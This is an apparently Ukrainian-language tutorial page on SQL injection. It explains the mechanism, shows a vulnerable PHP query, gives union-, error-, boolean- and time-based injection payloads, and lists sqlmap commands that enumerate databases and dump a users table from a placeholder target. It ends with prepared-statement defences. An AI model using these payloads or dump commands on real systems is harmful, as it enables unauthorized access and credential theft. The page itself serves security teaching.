Середній
+50 XP

👋 Починай вчитися JavaScript прямо зараз — безкоштовно!

📖

SQL Injection: теорія та практика

Механізм SQL Injection, типи, виявлення та експлуатація.

Що таке SQL Injection?

SQL Injection (SQLi) — вразливість, при якій зловмисник вставляє SQL-код через введення користувача, змінюючи логіку запиту до бази даних.

Вразливий код (PHP приклад):

php
$id = $_GET['id'];
$query = "SELECT * FROM products WHERE id = " . $id;
// Запит стає: SELECT * FROM products WHERE id = 1 OR 1=1 --

Типи SQL Injection

1. In-band SQLi (результат видно у відповіді)

Error-based — помилки БД розкривають інформацію:

?id=1' → You have an error in your SQL syntax...

Union-based — використовує UNION для витягування даних:

sql
?id=1 UNION SELECT null,username,password FROM users --

2. Blind SQLi (результат не видно напряму)

Boolean-based:

?id=1 AND 1=1 → відповідь нормальна (true) ?id=1 AND 1=2 → відповідь порожня (false)

Time-based:

sql
?id=1; IF(1=1, SLEEP(5), 0) --  →  затримка 5 сек = вразливість

3. Out-of-band SQLi

Дані витягуються через DNS або HTTP запити (рідкіше).

sqlmap — автоматизація SQLi

bash
# Базове тестування
sqlmap -u "http://target.com/page.php?id=1"

# З cookies (для авторизованих сторінок)
sqlmap -u "http://target.com/page.php?id=1" --cookie="session=abc123"

# Витягнути список баз даних
sqlmap -u "http://target.com/page.php?id=1" --dbs

# Витягнути таблиці конкретної БД
sqlmap -u "..." -D target_db --tables

# Витягнути дані з таблиці
sqlmap -u "..." -D target_db -T users --dump

Захист від SQLi

php
// ПОГАНО — конкатенація
$query = "SELECT * FROM users WHERE id = " . $id;

// ДОБРЕ — Prepared Statements
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$id]);

Також: ORM-бібліотеки, WAF (Web Application Firewall), принцип найменших привілеїв для DB-користувача.

Коментарі

Увійти або Почати щоб залишити коментар.